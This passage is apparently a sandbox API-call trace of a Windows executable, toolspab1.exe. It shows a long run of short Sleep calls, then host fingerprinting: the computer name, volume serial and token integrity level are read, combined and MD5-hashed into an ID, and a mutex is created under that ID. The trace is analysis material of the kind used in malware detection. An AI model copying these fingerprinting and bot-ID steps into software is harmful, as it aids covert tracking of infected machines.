(dwMilliseconds=0xa) [0276.040] Sleep (dwMilliseconds=0xa) [0276.051] Sleep (dwMilliseconds=0xa) [0276.093] Sleep (dwMilliseconds=0xa) [0276.104] Sleep (dwMilliseconds=0xa) [0276.121] Sleep (dwMilliseconds=0xa) [0276.228] Sleep (dwMilliseconds=0xa) [0276.300] Sleep (dwMilliseconds=0xa) [0276.311] Sleep (dwMilliseconds=0xa) [0276.321] Sleep (dwMilliseconds=0xa) [0276.332] Sleep (dwMilliseconds=0xa) [0276.342] Sleep (dwMilliseconds=0xa) [0276.353] Sleep (dwMilliseconds=0xa) [0276.363] Sleep (dwMilliseconds=0xa) [0276.512] Sleep (dwMilliseconds=0xa) [0276.625] Sleep (dwMilliseconds=0xa) [0276.636] Sleep (dwMilliseconds=0xa) [0276.646] Sleep (dwMilliseconds=0xa) [0276.657] Sleep (dwMilliseconds=0xa) [0276.668] Sleep (dwMilliseconds=0xa) [0276.679] Sleep (dwMilliseconds=0xa) [0276.689] Sleep (dwMilliseconds=0xa) [0276.719] Sleep (dwMilliseconds=0xa) [0276.815] Sleep (dwMilliseconds=0xa) [0276.912] Sleep (dwMilliseconds=0xa) [0276.924] Sleep (dwMilliseconds=0xa) [0276.934] Sleep (dwMilliseconds=0xa) [0276.945] Sleep (dwMilliseconds=0xa) [0276.960] Sleep (dwMilliseconds=0xa) [0276.970] Sleep (dwMilliseconds=0xa) [0276.991] Sleep (dwMilliseconds=0xa) [0277.002] Sleep (dwMilliseconds=0xa) [0277.022] Sleep (dwMilliseconds=0xa) [0277.033] Sleep (dwMilliseconds=0xa) [0277.043] Sleep (dwMilliseconds=0xa) [0277.055] Sleep (dwMilliseconds=0xa) [0277.102] Sleep (dwMilliseconds=0xa) [0277.112] Sleep (dwMilliseconds=0xa) [0277.123] Sleep (dwMilliseconds=0xa) [0277.133] Sleep (dwMilliseconds=0xa) [0277.144] Sleep (dwMilliseconds=0xa) [0277.256] Sleep (dwMilliseconds=0xa) [0277.286] Sleep (dwMilliseconds=0xa) [0277.297] Sleep (dwMilliseconds=0xa) [0277.308] Sleep (dwMilliseconds=0xa) [0277.380] Sleep (dwMilliseconds=0xa) [0277.391] Sleep (dwMilliseconds=0xa) [0277.401] Sleep (dwMilliseconds=0xa) [0277.412] Sleep (dwMilliseconds=0xa) [0277.422] Sleep (dwMilliseconds=0xa) [0277.433] Sleep (dwMilliseconds=0xa) [0277.447] Sleep (dwMilliseconds=0xa) [0277.457] Sleep (dwMilliseconds=0xa) [0277.469] Sleep (dwMilliseconds=0xa) [0277.499] Sleep (dwMilliseconds=0xa) [0277.554] Sleep (dwMilliseconds=0xa) [0277.564] Sleep (dwMilliseconds=0xa) [0277.575] Sleep (dwMilliseconds=0xa) [0277.586] Sleep (dwMilliseconds=0xa) [0277.596] Sleep (dwMilliseconds=0xa) [0277.607] Sleep (dwMilliseconds=0xa) [0277.617] Sleep (dwMilliseconds=0xa) [0277.627] Sleep (dwMilliseconds=0xa) [0277.638] Sleep (dwMilliseconds=0xa) [0277.649] Sleep (dwMilliseconds=0xa) [0277.659] Sleep (dwMilliseconds=0xa) [0277.750] Sleep (dwMilliseconds=0xa) [0277.855] Sleep (dwMilliseconds=0xa) [0277.878] Sleep (dwMilliseconds=0xa) [0277.888] Sleep (dwMilliseconds=0xa) [0277.899] Sleep (dwMilliseconds=0xa) [0277.909] Sleep (dwMilliseconds=0xa) [0277.921] Sleep (dwMilliseconds=0xa) [0277.932] Sleep (dwMilliseconds=0xa) [0277.942] Sleep (dwMilliseconds=0xa) [0277.953] Sleep (dwMilliseconds=0xa) [0277.978] Sleep (dwMilliseconds=0xa) [0277.989] Sleep (dwMilliseconds=0xa) [0277.999] Sleep (dwMilliseconds=0xa) [0278.058] Sleep (dwMilliseconds=0xa) [0278.069] Sleep (dwMilliseconds=0xa) [0278.080] Sleep (dwMilliseconds=0xa) [0278.188] Sleep (dwMilliseconds=0xa) [0278.235] Sleep (dwMilliseconds=0xa) [0278.256] Sleep (dwMilliseconds=0xa) [0278.299] Sleep (dwMilliseconds=0xa) [0278.311] Sleep (dwMilliseconds=0xa) [0278.321] Sleep (dwMilliseconds=0xa) [0278.333] Sleep (dwMilliseconds=0xa) [0278.344] Sleep (dwMilliseconds=0xa) [0278.354] Sleep (dwMilliseconds=0xa) [0278.365] Sleep (dwMilliseconds=0xa) [0278.376] Sleep (dwMilliseconds=0xa) [0278.501] Sleep (dwMilliseconds=0xa) [0278.575] Sleep (dwMilliseconds=0xa) [0278.611] Sleep (dwMilliseconds=0xa) [0278.643] Sleep (dwMilliseconds=0xa) [0278.654] Sleep (dwMilliseconds=0xa) [0278.667] Sleep (dwMilliseconds=0xa) [0278.678] Sleep (dwMilliseconds=0xa) [0278.689] Sleep (dwMilliseconds=0xa) [0278.701] Sleep (dwMilliseconds=0xa) [0278.719] Sleep (dwMilliseconds=0xa) [0278.730] Sleep (dwMilliseconds=0xa) [0278.741] Sleep (dwMilliseconds=0xa) [0278.945] Sleep (dwMilliseconds=0xa) [0278.988] Sleep (dwMilliseconds=0xa) [0279.004] Sleep (dwMilliseconds=0xa) [0279.016] Sleep (dwMilliseconds=0xa) [0279.026] Sleep (dwMilliseconds=0xa) [0279.037] Sleep (dwMilliseconds=0xa) [0279.048] Sleep (dwMilliseconds=0xa) [0279.058] Sleep (dwMilliseconds=0xa) [0279.069] Sleep (dwMilliseconds=0xa) [0279.080] Sleep (dwMilliseconds=0xa) [0279.090] Sleep (dwMilliseconds=0xa) [0279.167] Sleep (dwMilliseconds=0xa) [0279.262] Sleep (dwMilliseconds=0xa) [0279.276] Sleep (dwMilliseconds=0xa) [0279.286] Sleep (dwMilliseconds=0xa) [0279.297] Sleep (dwMilliseconds=0xa) [0279.366] Sleep (dwMilliseconds=0xa) [0279.377] Sleep (dwMilliseconds=0xa) [0279.387] Sleep (dwMilliseconds=0xa) [0279.486] Sleep (dwMilliseconds=0xa) [0279.497] Sleep (dwMilliseconds=0xa) [0279.507] Sleep (dwMilliseconds=0xa) [0279.520] Sleep (dwMilliseconds=0xa) [0279.531] Sleep (dwMilliseconds=0xa) [0279.542] Sleep (dwMilliseconds=0xa) [0279.568] Sleep (dwMilliseconds=0xa) [0279.581] Sleep (dwMilliseconds=0xa) [0279.599] Sleep (dwMilliseconds=0xa) [0279.609] Sleep (dwMilliseconds=0xa) [0279.620] Sleep (dwMilliseconds=0xa) [0279.704] Sleep (dwMilliseconds=0xa) [0279.714] Sleep (dwMilliseconds=0xa) [0279.724] Sleep (dwMilliseconds=0xa) [0279.761] Sleep (dwMilliseconds=0xa) [0279.789] Sleep (dwMilliseconds=0xa) [0279.831] Sleep (dwMilliseconds=0xa) [0279.858] Sleep (dwMilliseconds=0xa) [0279.892] Sleep (dwMilliseconds=0xa) [0279.975] Sleep (dwMilliseconds=0xa) [0279.986] Sleep (dwMilliseconds=0xa) [0279.996] Sleep (dwMilliseconds=0xa) [0280.007] Sleep (dwMilliseconds=0xa) [0280.017] Sleep (dwMilliseconds=0xa) [0280.028] Sleep (dwMilliseconds=0xa) [0280.038] Sleep (dwMilliseconds=0xa) [0280.049] Sleep (dwMilliseconds=0xa) [0280.059] Sleep (dwMilliseconds=0xa) [0280.070] Sleep (dwMilliseconds=0xa) [0280.106] Sleep (dwMilliseconds=0xa) [0280.116] Sleep (dwMilliseconds=0xa) [0280.127] Sleep (dwMilliseconds=0xa) [0280.189] Sleep (dwMilliseconds=0xa) [0280.200] Sleep (dwMilliseconds=0xa) [0280.210] Sleep (dwMilliseconds=0xa) [0280.221] Sleep (dwMilliseconds=0xa) [0280.232] Sleep (dwMilliseconds=0xa) [0280.242] Sleep (dwMilliseconds=0xa) [0280.288] Sleep (dwMilliseconds=0xa) [0280.341] Sleep (dwMilliseconds=0xa) [0280.351] Sleep (dwMilliseconds=0xa) [0280.362] Sleep (dwMilliseconds=0xa) [0280.408] Sleep (dwMilliseconds=0xa) [0280.419] Sleep (dwMilliseconds=0xa) [0280.429] Sleep (dwMilliseconds=0xa) [0280.440] Sleep (dwMilliseconds=0xa) [0280.450] Sleep (dwMilliseconds=0xa) [0280.460] Sleep (dwMilliseconds=0xa) [0280.471] Sleep (dwMilliseconds=0xa) [0280.481] Sleep (dwMilliseconds=0xa) [0280.492] Sleep (dwMilliseconds=0xa) [0280.502] Sleep (dwMilliseconds=0xa) [0280.581] Sleep (dwMilliseconds=0xa) [0280.592] Sleep (dwMilliseconds=0xa) [0280.602] Sleep (dwMilliseconds=0xa) [0280.614] Sleep (dwMilliseconds=0xa) [0280.625] Sleep (dwMilliseconds=0xa) [0280.739] Sleep (dwMilliseconds=0xa) [0280.850] Sleep (dwMilliseconds=0xa) [0280.864] Sleep (dwMilliseconds=0xa) [0280.875] Sleep (dwMilliseconds=0xa) [0281.053] Sleep (dwMilliseconds=0xa) [0281.064] Sleep (dwMilliseconds=0xa) [0281.074] Sleep (dwMilliseconds=0xa) [0281.085] Sleep (dwMilliseconds=0xa) [0281.175] Sleep (dwMilliseconds=0xa) [0281.186] Sleep (dwMilliseconds=0xa) [0281.196] Sleep (dwMilliseconds=0xa) [0281.207] Sleep (dwMilliseconds=0xa) [0281.217] Sleep (dwMilliseconds=0xa) [0281.228] Sleep (dwMilliseconds=0xa) [0281.242] Sleep (dwMilliseconds=0xa) [0281.253] Sleep (dwMilliseconds=0xa) [0281.408] Sleep (dwMilliseconds=0xa) [0281.419] Sleep (dwMilliseconds=0xa) [0281.449] Sleep (dwMilliseconds=0xa) [0281.549] Sleep (dwMilliseconds=0xa) [0281.559] Sleep (dwMilliseconds=0xa) [0281.570] Sleep (dwMilliseconds=0xa) [0281.587] Sleep (dwMilliseconds=0xa) [0281.687] Sleep (dwMilliseconds=0xa) [0281.702] Sleep (dwMilliseconds=0xa) [0281.713] Sleep (dwMilliseconds=0xa) [0281.740] Sleep (dwMilliseconds=0xa) [0281.846] Sleep (dwMilliseconds=0xa) [0281.857] Sleep (dwMilliseconds=0xa) [0281.868] Sleep (dwMilliseconds=0xa) [0281.879] Sleep (dwMilliseconds=0xa) [0281.892] Sleep (dwMilliseconds=0xa) [0281.903] Sleep (dwMilliseconds=0xa) [0281.914] Sleep (dwMilliseconds=0xa) [0282.033] Sleep (dwMilliseconds=0xa) [0282.057] Sleep (dwMilliseconds=0xa) [0282.168] Sleep (dwMilliseconds=0xa) [0282.242] Sleep (dwMilliseconds=0xa) [0282.253] Sleep (dwMilliseconds=0xa) [0282.263] Sleep (dwMilliseconds=0xa) [0282.274] Sleep (dwMilliseconds=0xa) [0282.284] Sleep (dwMilliseconds=0xa) [0282.295] Sleep (dwMilliseconds=0xa) [0282.305] Sleep (dwMilliseconds=0xa) [0282.316] Sleep (dwMilliseconds=0xa) [0282.326] Sleep (dwMilliseconds=0xa) [0282.434] Sleep (dwMilliseconds=0xa) [0282.469] Sleep (dwMilliseconds=0xa) [0282.509] Sleep (dwMilliseconds=0xa) [0282.580] Sleep (dwMilliseconds=0xa) [0282.591] Sleep (dwMilliseconds=0xa) [0282.601] Sleep (dwMilliseconds=0xa) [0282.612] Sleep (dwMilliseconds=0xa) [0282.624] Sleep (dwMilliseconds=0xa) [0282.635] Sleep (dwMilliseconds=0xa) [0282.646] Sleep (dwMilliseconds=0xa) [0282.656] Sleep (dwMilliseconds=0xa) [0282.733] Sleep (dwMilliseconds=0xa) [0282.796] Sleep (dwMilliseconds=0xa) [0282.810] Sleep (dwMilliseconds=0xa) [0282.820] Sleep (dwMilliseconds=0xa) [0282.890] Sleep (dwMilliseconds=0xa) [0282.901] Sleep (dwMilliseconds=0xa) [0282.912] Sleep (dwMilliseconds=0xa) [0282.922] Sleep (dwMilliseconds=0xa) [0282.942] Sleep (dwMilliseconds=0xa) [0282.956] Sleep (dwMilliseconds=0xa) [0283.027] Sleep (dwMilliseconds=0xa) [0283.070] Sleep (dwMilliseconds=0xa) [0283.154] Sleep (dwMilliseconds=0xa) [0283.215] Sleep (dwMilliseconds=0xa) [0283.234] Sleep (dwMilliseconds=0xa) [0283.244] Sleep (dwMilliseconds=0xa) [0283.255] Sleep (dwMilliseconds=0xa) [0283.270] Sleep (dwMilliseconds=0xa) [0283.282] Sleep (dwMilliseconds=0xa) [0283.292] Sleep (dwMilliseconds=0xa) [0283.303] Sleep (dwMilliseconds=0xa) [0283.313] Sleep (dwMilliseconds=0xa) [0283.365] Sleep (dwMilliseconds=0xa) [0283.376] Sleep (dwMilliseconds=0xa) [0283.387] Sleep (dwMilliseconds=0xa) [0283.418] Sleep (dwMilliseconds=0xa) [0283.428] Sleep (dwMilliseconds=0xa) [0283.438] Sleep (dwMilliseconds=0xa) [0283.449] Sleep (dwMilliseconds=0xa) [0283.459] Sleep (dwMilliseconds=0xa) [0283.470] Sleep (dwMilliseconds=0xa) [0283.480] Sleep (dwMilliseconds=0xa) [0283.491] Sleep (dwMilliseconds=0xa) [0283.585] Sleep (dwMilliseconds=0xa) [0283.648] Sleep (dwMilliseconds=0xa) [0283.672] Sleep (dwMilliseconds=0xa) [0283.683] Sleep (dwMilliseconds=0xa) [0283.717] Sleep (dwMilliseconds=0xa) [0283.758] Sleep (dwMilliseconds=0xa) [0283.768] Sleep (dwMilliseconds=0xa) [0283.789] Sleep (dwMilliseconds=0xa) [0283.800] Sleep (dwMilliseconds=0xa) [0283.814] Sleep (dwMilliseconds=0xa) [0283.888] Sleep (dwMilliseconds=0xa) [0283.898] Sleep (dwMilliseconds=0xa) [0283.909] Sleep (dwMilliseconds=0xa) [0283.969] Sleep (dwMilliseconds=0xa) [0283.981] Sleep (dwMilliseconds=0xa) [0283.991] Sleep (dwMilliseconds=0xa) [0284.002] Sleep (dwMilliseconds=0xa) [0284.014] Sleep (dwMilliseconds=0xa) [0284.032] Sleep (dwMilliseconds=0xa) [0284.044] Sleep (dwMilliseconds=0xa) [0284.055] Sleep (dwMilliseconds=0xa) [0284.068] Sleep (dwMilliseconds=0xa) [0284.194] Sleep (dwMilliseconds=0xa) [0284.234] Sleep (dwMilliseconds=0xa) [0284.281] Sleep (dwMilliseconds=0xa) [0284.315] Sleep (dwMilliseconds=0xa) [0284.326] Sleep (dwMilliseconds=0xa) [0284.337] Sleep (dwMilliseconds=0xa) [0284.399] Sleep (dwMilliseconds=0xa) [0284.477] Sleep (dwMilliseconds=0xa) [0284.487] Sleep (dwMilliseconds=0xa) [0284.497] Sleep (dwMilliseconds=0xa) [0284.557] Sleep (dwMilliseconds=0xa) [0284.567] Sleep (dwMilliseconds=0xa) [0284.578] Sleep (dwMilliseconds=0xa) [0284.590] Sleep (dwMilliseconds=0xa) [0284.607] Sleep (dwMilliseconds=0xa) [0284.737] Sleep (dwMilliseconds=0xa) [0284.804] Sleep (dwMilliseconds=0xa) [0284.814] Sleep (dwMilliseconds=0xa) [0284.825] Sleep (dwMilliseconds=0xa) [0284.836] Sleep (dwMilliseconds=0xa) [0284.847] Sleep (dwMilliseconds=0xa) [0284.858] Sleep (dwMilliseconds=0xa) [0284.868] Sleep (dwMilliseconds=0xa) [0284.880] Sleep (dwMilliseconds=0xa) [0284.890] Sleep (dwMilliseconds=0xa) [0284.903] Sleep (dwMilliseconds=0xa) [0284.993] Sleep (dwMilliseconds=0xa) [0285.082] Sleep (dwMilliseconds=0xa) [0285.093] Sleep (dwMilliseconds=0xa) [0285.103] Sleep (dwMilliseconds=0xa) [0285.114] Sleep (dwMilliseconds=0xa) [0285.124] Sleep (dwMilliseconds=0xa) [0285.140] Sleep (dwMilliseconds=0xa) [0285.151] Sleep (dwMilliseconds=0xa) [0285.162] Sleep (dwMilliseconds=0xa) [0285.176] Sleep (dwMilliseconds=0xa) [0285.282] Sleep (dwMilliseconds=0xa) [0285.298] Sleep (dwMilliseconds=0xa) [0285.309] Sleep (dwMilliseconds=0xa) [0285.363] Sleep (dwMilliseconds=0xa) [0285.374] Sleep (dwMilliseconds=0xa) [0285.384] Sleep (dwMilliseconds=0xa) [0285.395] Sleep (dwMilliseconds=0xa) [0285.406] Sleep (dwMilliseconds=0xa) [0285.475] Sleep (dwMilliseconds=0xa) [0285.518] Sleep (dwMilliseconds=0xa) [0285.541] Sleep (dwMilliseconds=0xa) [0285.586] Sleep (dwMilliseconds=0xa) [0285.596] Sleep (dwMilliseconds=0xa) [0285.607] Sleep (dwMilliseconds=0xa) [0285.617] Sleep (dwMilliseconds=0xa) [0285.628] Sleep (dwMilliseconds=0xa) [0285.639] Sleep (dwMilliseconds=0xa) [0285.650] Sleep (dwMilliseconds=0xa) [0285.764] Sleep (dwMilliseconds=0xa) [0285.846] Sleep (dwMilliseconds=0xa) [0285.861] Sleep (dwMilliseconds=0xa) [0285.872] Sleep (dwMilliseconds=0xa) [0285.889] Sleep (dwMilliseconds=0xa) [0285.900] Sleep (dwMilliseconds=0xa) [0285.911] Sleep (dwMilliseconds=0xa) [0285.922] Sleep (dwMilliseconds=0xa) [0285.933] Sleep (dwMilliseconds=0xa) [0286.051] Sleep (dwMilliseconds=0xa) [0286.130] Sleep (dwMilliseconds=0xa) [0286.153] Sleep (dwMilliseconds=0xa) [0286.164] Sleep (dwMilliseconds=0xa) [0286.175] Sleep (dwMilliseconds=0xa) [0286.186] Sleep (dwMilliseconds=0xa) [0286.196] Sleep (dwMilliseconds=0xa) [0286.207] Sleep (dwMilliseconds=0xa) [0286.217] Sleep (dwMilliseconds=0xa) [0286.317] Sleep (dwMilliseconds=0xa) [0286.327] Sleep (dwMilliseconds=0xa) [0286.344] Sleep (dwMilliseconds=0xa) [0286.354] Sleep (dwMilliseconds=0xa) [0286.437] Sleep (dwMilliseconds=0xa) [0286.449] Sleep (dwMilliseconds=0xa) [0286.459] Sleep (dwMilliseconds=0xa) [0286.470] Sleep (dwMilliseconds=0xa) [0286.520] Sleep (dwMilliseconds=0xa) [0286.570] Sleep (dwMilliseconds=0xa) [0286.590] Sleep (dwMilliseconds=0xa) [0286.616] Sleep (dwMilliseconds=0xa) [0286.700] Sleep (dwMilliseconds=0xa) [0286.711] Sleep (dwMilliseconds=0xa) [0286.722] Sleep (dwMilliseconds=0xa) [0286.733] Sleep (dwMilliseconds=0xa) [0286.743] Sleep (dwMilliseconds=0xa) [0287.029] Sleep (dwMilliseconds=0xa) [0287.052] Sleep (dwMilliseconds=0xa) [0287.063] Sleep (dwMilliseconds=0xa) [0287.073] Sleep (dwMilliseconds=0xa) [0287.116] Sleep (dwMilliseconds=0xa) [0287.126] Sleep (dwMilliseconds=0xa) [0287.137] Sleep (dwMilliseconds=0xa) [0287.147] Sleep (dwMilliseconds=0xa) [0287.171] Sleep (dwMilliseconds=0xa) [0287.181] Sleep (dwMilliseconds=0xa) [0287.193] Sleep (dwMilliseconds=0xa) [0287.204] Sleep (dwMilliseconds=0xa) [0287.215] Sleep (dwMilliseconds=0xa) [0287.260] Sleep (dwMilliseconds=0xa) [0287.272] Sleep (dwMilliseconds=0xa) [0287.282] Sleep (dwMilliseconds=0xa) [0287.298] Sleep (dwMilliseconds=0xa) [0287.309] Sleep (dwMilliseconds=0xa) [0287.319] Sleep (dwMilliseconds=0xa) [0287.330] Sleep (dwMilliseconds=0xa) [0287.500] Sleep (dwMilliseconds=0xa) [0287.572] Sleep (dwMilliseconds=0xa) [0287.600] Sleep (dwMilliseconds=0xa) [0287.616] Sleep (dwMilliseconds=0xa) [0287.626] Sleep (dwMilliseconds=0xa) [0287.637] Sleep (dwMilliseconds=0xa) [0287.647] Sleep (dwMilliseconds=0xa) [0287.658] Sleep (dwMilliseconds=0xa) [0287.669] Sleep (dwMilliseconds=0xa) [0287.679] Sleep (dwMilliseconds=0xa) [0287.690] Sleep (dwMilliseconds=0xa) [0287.702] Sleep (dwMilliseconds=0xa) [0287.807] Sleep (dwMilliseconds=0xa) [0287.900] Sleep (dwMilliseconds=0xa) [0287.913] Sleep (dwMilliseconds=0xa) [0287.923] Sleep (dwMilliseconds=0xa) [0287.940] Sleep (dwMilliseconds=0xa) [0287.956] Sleep (dwMilliseconds=0xa) [0287.966] Sleep (dwMilliseconds=0xa) [0287.977] Sleep (dwMilliseconds=0xa) [0287.987] Sleep (dwMilliseconds=0xa) [0287.998] Sleep (dwMilliseconds=0xa) [0288.064] Sleep (dwMilliseconds=0xa) [0288.170] Sleep (dwMilliseconds=0xa) [0288.180] Sleep (dwMilliseconds=0xa) [0288.191] Sleep (dwMilliseconds=0xa) [0288.271] Sleep (dwMilliseconds=0xa) [0288.281] Sleep (dwMilliseconds=0xa) [0288.341] Sleep (dwMilliseconds=0xa) [0288.428] Sleep (dwMilliseconds=0xa) [0288.441] Sleep (dwMilliseconds=0xa) [0288.452] Sleep (dwMilliseconds=0xa) [0288.463] Sleep (dwMilliseconds=0xa) [0288.473] Sleep (dwMilliseconds=0xa) [0288.486] Sleep (dwMilliseconds=0xa) [0288.583] Sleep (dwMilliseconds=0xa) [0288.606] Sleep (dwMilliseconds=0xa) [0288.625] Sleep (dwMilliseconds=0xa) [0288.635] Sleep (dwMilliseconds=0xa) [0288.712] Sleep (dwMilliseconds=0xa) [0288.743] Sleep (dwMilliseconds=0xa) [0288.754] Sleep (dwMilliseconds=0xa) [0288.769] Sleep (dwMilliseconds=0xa) [0288.796] Sleep (dwMilliseconds=0xa) [0288.806] Sleep (dwMilliseconds=0xa) [0288.852] Sleep (dwMilliseconds=0xa) [0288.862] Sleep (dwMilliseconds=0xa) [0288.874] Sleep (dwMilliseconds=0xa) [0288.900] Sleep (dwMilliseconds=0xa) [0288.911] Sleep (dwMilliseconds=0xa) [0288.921] Sleep (dwMilliseconds=0xa) [0288.932] Sleep (dwMilliseconds=0xa) [0288.942] Sleep (dwMilliseconds=0xa) [0288.955] Sleep (dwMilliseconds=0xa) [0288.966] GetSystemDirectoryA (in: lpBuffer=0x130efde0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0288.966] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" [0288.967] RtlGetVersion (in: lpVersionInformation=0x4300457 | out: lpVersionInformation=0x4300457*(dwOSVersionInfoSize=0x0, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 0x0 [0288.967] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x130efdc8 | out: TokenHandle=0x130efdc8*=0x1c9c) returned 1 [0288.967] GetTokenInformation (in: TokenHandle=0x1c9c, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x130efdc0 | out: TokenInformation=0x0, ReturnLength=0x130efdc0) returned 0 [0288.967] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x25) returned 0x8870830 [0288.967] GetTokenInformation (in: TokenHandle=0x1c9c, TokenInformationClass=0x19, TokenInformation=0x8870830, TokenInformationLength=0x1c, ReturnLength=0x130efdc0 | out: TokenInformation=0x8870830, ReturnLength=0x130efdc0) returned 1 [0288.967] GetSidSubAuthorityCount (pSid=0x8870840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x8870841 [0288.967] GetSidSubAuthority (pSid=0x8870840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x8870848 [0288.967] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x25 [0288.968] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0288.968] CloseHandle (hObject=0x1c9c) returned 1 [0288.968] GetComputerNameA (in: lpBuffer=0x130efe90, nSize=0x130efed0 | out: lpBuffer="XC64ZB", nSize=0x130efed0) returned 1 [0288.968] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x130efec0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x130efec0*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0288.968] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x29) returned 0x8870830 [0288.968] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x14) returned 0x8870870 [0288.968] wsprintfA (in: param_1=0x8870830, param_2="%s%08X%08X" | out: param_1="XC64ZB99FC78690C287F38") returned 22 [0288.969] CryptAcquireContextA (in: phProv=0x130efe18, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x130efe18*=0x85fdc20) returned 1 [0288.986] CryptCreateHash (in: hProv=0x85fdc20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130efe10 | out: phHash=0x130efe10) returned 1 [0288.986] lstrlenA (lpString="XC64ZB99FC78690C287F38") returned 22 [0288.986] CryptHashData (hHash=0x8483180, pbData=0x8870830, dwDataLen=0x16, dwFlags=0x0) returned 1 [0288.986] CryptGetHashParam (in: hHash=0x8483180, dwParam=0x2, pbData=0x130efe20, pdwDataLen=0x130efe50, dwFlags=0x0 | out: pbData=0x130efe20, pdwDataLen=0x130efe50) returned 1 [0288.987] wsprintfA (in: param_1=0x430020c, param_2="%02X" | out: param_1="FE") returned 2 [0288.987] wsprintfA (in: param_1=0x430020e, param_2="%02X" | out: param_1="7F") returned 2 [0288.987] wsprintfA (in: param_1=0x4300210, param_2="%02X" | out: param_1="15") returned 2 [0288.987] wsprintfA (in: param_1=0x4300212, param_2="%02X" | out: param_1="06") returned 2 [0288.987] wsprintfA (in: param_1=0x4300214, param_2="%02X" | out: param_1="0B") returned 2 [0288.987] wsprintfA (in: param_1=0x4300216, param_2="%02X" | out: param_1="87") returned 2 [0288.987] wsprintfA (in: param_1=0x4300218, param_2="%02X" | out: param_1="5F") returned 2 [0288.987] wsprintfA (in: param_1=0x430021a, param_2="%02X" | out: param_1="B9") returned 2 [0288.987] wsprintfA (in: param_1=0x430021c, param_2="%02X" | out: param_1="FB") returned 2 [0288.987] wsprintfA (in: param_1=0x430021e, param_2="%02X" | out: param_1="2A") returned 2 [0288.987] wsprintfA (in: param_1=0x4300220, param_2="%02X" | out: param_1="49") returned 2 [0288.987] wsprintfA (in: param_1=0x4300222, param_2="%02X" | out: param_1="F0") returned 2 [0288.987] wsprintfA (in: param_1=0x4300224, param_2="%02X" | out: param_1="8D") returned 2 [0288.987] wsprintfA (in: param_1=0x4300226, param_2="%02X" | out: param_1="5D") returned 2 [0288.987] wsprintfA (in: param_1=0x4300228, param_2="%02X" | out: param_1="03") returned 2 [0288.987] wsprintfA (in: param_1=0x430022a, param_2="%02X" | out: param_1="12") returned 2 [0288.987] CryptDestroyHash (hHash=0x8483180) returned 1 [0288.987] CryptReleaseContext (hProv=0x85fdc20, dwFlags=0x0) returned 1 [0288.987] wsprintfA (in: param_1=0x430022c, param_2="%08X" | out: param_1="0C287F38") returned 8 [0288.987] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870870) returned 0x14 [0288.987] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870870) returned 1 [0288.987] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x29 [0288.988] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0288.988] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0xe) returned 0x8870830 [0288.988] wsprintfA (in: param_1=0x4300dbe, param_2="%sFF" | out: param_1="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 42 [0288.988] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0xe [0288.988] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0288.988] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned 0x1c9c [0288.988] RtlGetLastWin32Error () returned 0x0 [0288.988] GetTickCount () returned 0xea24bc [0288.988] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x1008) returned 0x8870830 [0288.988] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x2e) returned 0x8871840 [0288.988] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x130efed8 | out: phkResult=0x130efed8*=0x197c) returned 0x0 [0288.988] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x14) returned 0x8871880 [0288.988] RegQueryValueExA (in: hKey=0x197c, lpValueName="svcVersion", lpReserved=0x0, lpType=0x0, lpData=0x130efe60, lpcbData=0x130efec0*=0x20 | out: lpType=0x0, lpData=0x130efe60*=0x31, lpcbData=0x130efec0*=0xd) returned 0x0 [0288.988] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871880) returned 0x14 [0288.988] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871880) 